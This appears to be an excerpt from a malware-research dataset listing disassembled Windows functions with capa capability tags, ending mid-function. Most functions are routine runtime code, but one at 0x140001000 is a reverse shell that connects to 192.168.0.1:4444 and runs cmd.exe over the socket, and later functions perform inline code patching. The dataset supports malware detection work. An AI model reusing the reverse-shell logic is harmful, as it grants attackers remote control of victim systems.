joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6bb7d0
Capabilities:
Hide graphical window

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rbx, rcx
cmp qword [rbx + 0xc0], 0
jne 0x6bb886
mov rcx, qword [rbx + 0x10]
call fcn.005cfca0
mov rcx, qword [0x005e54d8]
mov dl, 1
mov r8, rax
call fcn.005c6900
mov qword [rbx + 0xc0], rax
mov rsi, qword [rbx + 0xc0]
mov rcx, rsi
xor rdx, rdx
call fcn.005ef370
lea rax, [rsi + 0x498]
mov qword [rax + 8], rbx
lea rcx, [0x006bae40]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xc0]
call fcn.005cfca0
mov rsi, rax
mov ecx, 3
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor rdx, rdx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xc0]
call fcn.005cfca0
mov rcx, rax
xor rdx, rdx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xe0], 0
jne 0x6bb931
mov rcx, qword [rbx + 0x10]
call fcn.005cfca0
mov rcx, qword [0x005e54d8]
mov dl, 1
mov r8, rax
call fcn.005c6900
mov qword [rbx + 0xe0], rax
mov rsi, qword [rbx + 0xe0]
mov rcx, rsi
mov dl, 1
call fcn.005ef370
lea rax, [rsi + 0x498]
mov qword [rax + 8], rbx
lea rcx, [0x006baea0]
mov qword [rax], rcx
mov rcx, qword [rbx + 0xe0]
call fcn.005cfca0
mov rsi, rax
mov ecx, 2
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor rdx, rdx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xe0]
call fcn.005cfca0
mov rcx, rax
xor rdx, rdx
call sub.user32.dll_ShowWindow
cmp qword [rbx + 0xd0], 0
jne 0x6bb9cd
mov rcx, qword [rbx + 0x10]
call fcn.005cfca0
mov rcx, qword [0x005e6498]
mov dl, 1
mov r8, rax
call fcn.005c6900
mov qword [rbx + 0xd0], rax
mov rax, qword [rbx + 0xd0]
mov byte [rax + 0x468], 1
mov rcx, qword [rbx + 0xd0]
call fcn.005cfca0
mov rsi, rax
mov ecx, 2
call sub.user32.dll_GetSystemMetrics
mov edi, eax
mov ecx, 3
call sub.user32.dll_GetSystemMetrics
mov rcx, rsi
xor rdx, rdx
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x30], 8
call sub.user32.dll_SetWindowPos
mov rcx, qword [rbx + 0xd0]
call fcn.005cfca0
mov rcx, rax
xor rdx, rdx
call sub.user32.dll_ShowWindow
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x707750
Capabilities:
Check os version

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x148
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
lea rdx, [0x00707844]
call fcn.0040dfc0
mov dword [rbp + 0x2c], 0x114
lea rcx, [rbp + 0x2c]
call sub.kernel32.dll_GetVersionExW
test eax, eax
je 0x707828
mov esi, dword [rbp + 0x30]
mov edi, dword [rbp + 0x34]
mov eax, dword [rbp + 0x3c]
sub eax, 1
test eax, eax
je 0x7077a5
sub eax, 1
test eax, eax
jne 0x707828
jmp 0x7077af
mov rcx, rbx
call fcn.0040d970
jmp 0x707828
cmp esi, 5
je 0x7077b9
cmp esi, 6
jne 0x70780a
test edi, edi
jl 0x70780a
cmp edi, 2
jg 0x70780a
mov rcx, rbx
mov rax, qword [0x007fcdc8]
mov rdx, qword [rax]
call fcn.0040dfc0
mov rax, qword [0x007fce60]
cmp byte [rax], 0
jne 0x7077ef
mov rcx, rbx
lea rdx, [0x00707860]
call fcn.0040f140
mov rax, qword [0x007fce60]
cmp byte [rax], 1
jne 0x70780a
mov rcx, rbx
lea rdx, [0x0070787c]
call fcn.0040f140
cmp esi, 4
jg 0x707817
mov rcx, rbx
call fcn.0040d970
cmp esi, 5
jne 0x707828
test edi, edi
jne 0x707828
mov rcx, rbx
call fcn.0040d970
mov rax, rbx
lea rsp, [rbp + 0x148]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x78e450
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x208
mov rbp, rsp
mov rbx, rdx
mov cx, 0x101
lea rdx, [rbp + 0x28]
call sub.wsock32.dll_WSAStartup
lea rcx, [rbp + 0x1c0]
mov edx, 0x40
call sub.wsock32.dll_gethostname
lea rcx, [rbp + 0x1c0]
call sub.wsock32.dll_gethostbyname
test rax, rax
je 0x78e4da
mov rsi, qword [rax + 0x18]
xor rdi, rdi
jmp 0x78e4b6
movsxd rax, edi
mov rax, qword [rsi + rax*8]
mov ecx, dword [rax]
call sub.wsock32.dll_inet_ntoa
mov rcx, rbx
mov rdx, rax
call fcn.0040ee70
add edi, 1
movsxd rax, edi
cmp qword [rsi + rax*8], 0
jne 0x78e49a
call sub.wsock32.dll_WSACleanup
cmp qword [rbx], 0
jne 0x78e4da
mov rcx, rbx
lea rdx, [0x0078e4f8]
call fcn.0040dfc0
mov rax, rbx
lea rsp, [rbp + 0x208]
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a9c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a9d0]
mov dword [rax], 1
mov rax, qword [0x14000a9e0]
mov dword [rax], 1
mov rax, qword [0x14000a960]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a9b0]
mov dword [0x14000e020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000aa90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aa70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a910]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001b40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001bb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0c4]
mov rbx, rcx
test esi, esi
jle 0x140001ce0
mov rax, qword [0x14000e0c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001be0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001d02
mov rax, qword [0x14000e0c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ce7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001c7e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001c90
add dword [0x14000e0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001c08
mov rax, qword [0x14000e0c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002270
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e100]
test rbx, rbx
je 0x1400022cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400022c3
test rsi, rsi
je 0x1400022c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002500
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000255d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002554
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000255f
add rax, 0x28
cmp rax, r9
jne 0x140002540
xor eax, eax
ret

Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400025f0
mov rdx, qword [0x14000a960]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400025de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400025de
cmp word [rax + 0x18], 0x20b
jne 0x1400025de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400025f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400025c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400025f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400025c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a960]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002620
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000267d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002674
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002620
add rax, 0x28
cmp rax, r9
jne 0x140002660
xor eax, eax
ret

Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a960]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000269f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000269f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a960]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400026e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400026e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002730
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002727
test rcx, rcx
je 0x1400026e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002718
xor eax, eax
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a960]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000275f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002768
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002780
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a960]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400027a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400027f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002800
add rdx, 0x28
cmp r9, rdx
jne 0x1400027e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002810
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a960]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002832
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002840
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002832
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002832
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002832
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002895
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400028a8
add rdx, 0x28
cmp rdx, r10
jne 0x140002880
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400028b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400028c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000289e
test ecx, ecx
jg 0x1400028b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400011b1
movsd xmm0, qword [str.192.168.0.1]
xor r9d, r9d
mov eax, dword [0x140002288]
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], rsi
mov esi, 2
mov qword [rsp + 0x2d0], rdi
mov ecx, esi
xor edi, edi
movsd qword [rbp + 0x190], xmm0
mov dword [rsp + 0x28], edi
mov dword [rbp + 0x198], eax
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000117c
mov ecx, 0x115c
mov word [rbp - 0x28], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x24]
mov ecx, esi
lea rdx, [rbp + 0x190]
mov word [rbp - 0x26], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x14000117c
xorps xmm0, xmm0
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp - 0x58], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.cmd.exe
lea rax, [rsp + 0x50]
mov qword [rbp - 0x60], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x60], xmm0
mov dword [rbp - 0x74], 0x101
movups xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x70], di
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2c8]
mov eax, 1
mov rbx, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400011d0
add rsp, 0x2b0
pop rbp
ret
mov eax, 1
jmp 0x140001199

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x180003ab0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov r15d, edx
mov r14, rcx
cmp qword [rcx + 0x18], 0x10
mov rdi, rcx
jb 0x180003acf
mov rdi, qword [r14]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
mov rcx, rdi
call fcn.180026e90
test rax, rax
js 0x180003c15
mov rsi, rax
cmp rax, 0xf
ja 0x180003b23
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 0xf
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.18001c5c0
cmp qword [rsp + 0x38], 0x10
jae 0x180003b8c
lea rcx, [rsp + 0x20]
jmp 0x180003b91
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebp, 0x16
cmovae rbp, rax
cmp rbp, 0xfff
jb 0x180003b57
lea rcx, [rbp + 0x28]
call fcn.180018c0c
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x180003b63
lea rcx, [rbp + 1]
call fcn.180018c0c
mov rbx, rax
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.18001c5c0
mov byte [rbx + rsi], 0
cmp qword [rsp + 0x38], 0x10
jb 0x180003b1c
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp eax, 0xffffffff
setne bl
mov rax, qword [rsp + 0x38]
cmp rax, 0x10
jb 0x180003bdc
mov rcx, qword [rsp + 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180003bd7
mov rbp, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbp
cmp rcx, 0x20
jae 0x180003c1a
add rax, 0x28
mov rdx, rax
mov rcx, rbp
call fcn.180018c50
shr sil, 4
xor r15b, 1
and r15b, sil
mov al, 1
and bl, r15b
jne 0x180003c08
cmp qword [r14 + 0x18], 0x10
jb 0x180003bf8
mov r14, qword [r14]
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.18000c700
call fcn.18002149c
int3
Function at 0x180003fa0
Capabilities:
Get file size
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov r14, rdx
mov rax, qword [0x1800576c8]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rcx + 0x18], 0x10
jb 0x180003fc7
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor edi, edi
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180004095
mov rbx, rax
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov esi, eax
mov rcx, rsi
call fcn.180018c84
mov r15, rax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov rcx, rbx
mov rdx, rax
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
setne dil
je 0x18000408d
mov rax, qword [r14 + 0x18]
cmp rax, rsi
jae 0x18000406b
mov rcx, r14
mov rdx, rsi
mov r9, r15
call fcn.18000d620
jmp 0x18000408d
mov rbx, r14
cmp rax, 0x10
jb 0x180004077
mov rbx, qword [r14]
mov qword [r14 + 0x10], rsi
mov rcx, rbx
mov rdx, r15
mov r8, rsi
call fcn.18001c5c0
mov byte [rbx + rsi], 0
mov rcx, r15
call fcn.180018c50
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180018f40
mov eax, edi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x180017ca0
Capabilities:
Resume thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rax, qword [0x1800576c8]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov eax, dword [0x1800588ec]
test rax, rax
je 0x180017cfe
mov edi, ecx
mov esi, 0x20
mov rcx, qword [0x1800588e0]
xor ebx, ebx
nop word [rax + rax]
mov edx, ebx
imul rdx, rdx, 0x38
mov edx, dword [rcx + rdx + 0x20]
shr edx, 1
and edx, 1
cmp edx, edi
jne 0x180017d06
add rsi, 0x38
inc rbx
cmp eax, ebx
jne 0x180017ce0
xor r14d, r14d
jmp 0x180017dee
xor r8d, r8d
test edi, edi
setne r8b
lea rcx, [rsp + 0x20]
mov edx, 0xffffffff
call fcn.180018070
mov r14d, eax
test eax, eax
jne 0x180017dee
mov eax, dword [0x1800588ec]
xor r14d, r14d
cmp ebx, eax
jae 0x180017d79
mov rcx, qword [0x1800588e0]
jmp 0x180017d4e
inc rbx
mov edx, eax
add rsi, 0x38
cmp rbx, rdx
jae 0x180017d79
mov edx, dword [rcx + rsi]
shr edx, 1
and edx, 1
cmp edx, edi
je 0x180017d40
mov ecx, ebx
mov edx, edi
call fcn.180018460
test eax, eax
jne 0x180017d76
mov rcx, qword [0x1800588e0]
mov eax, dword [0x1800588ec]
jmp 0x180017d40
mov r14d, eax
mov rdi, qword [rsp + 0x20]
test rdi, rdi
je 0x180017dee
mov esi, dword [rsp + 0x2c]
test rsi, rsi
je 0x180017ddc
xor ebp, ebp
mov r15, qword [sym.imp.KERNEL32.dll_OpenThread]
mov r12, qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180017db8
inc rbp
cmp rsi, rbp
je 0x180017ddc
mov r8d, dword [rdi + rbp*4]
mov ecx, 0x5a
xor edx, edx
call r15
test rax, rax
je 0x180017db0
mov rbx, rax
mov rcx, rax
call r12
mov rcx, rbx
call r13
jmp 0x180017db0
mov rcx, qword [0x1800588d8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180018f40
mov eax, r14d
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x180018460
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov r12d, edx
mov rax, qword [0x1800576c8]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1800588e0]
mov eax, ecx
imul rsi, rax, 0x38
mov rax, qword [rbx + rsi]
movzx ecx, byte [rbx + rsi + 0x20]
xor edx, edx
and ecx, 1
sete dl
lea rdx, [rdx + rdx*4]
lea rdi, [rax + rdx]
add rdi, 0xfffffffffffffffb
lea r15, [rcx + rcx + 5]
lea r9, [rsp + 0x2c]
mov rcx, rdi
mov rdx, r15
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800184f8
lea r14, [rbx + rsi]
add r14, 0x20
test r12d, r12d
je 0x1800184ff
mov byte [rdi], 0xe9
mov eax, dword [rbx + rsi + 8]
sub eax, edi
add eax, 0xfffffffb
mov dword [rdi + 1], eax
test byte [r14], 1
je 0x180018521
add rbx, rsi
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180018521
mov esi, 0xa
jmp 0x180018568
test byte [r14], 1
lea rax, [rbx + rsi + 0x18]
jne 0x180018517
movzx ecx, byte [rax + 4]
mov byte [rdi + 4], cl
mov eax, dword [rax]
mov dword [rdi], eax
jmp 0x180018521
mov ecx, dword [rax]
mov eax, dword [rax + 3]
mov dword [rdi + 3], eax
mov dword [rdi], ecx
mov r8d, dword [rsp + 0x2c]
lea r9, [rsp + 0x2c]
mov rcx, rdi
mov rdx, r15
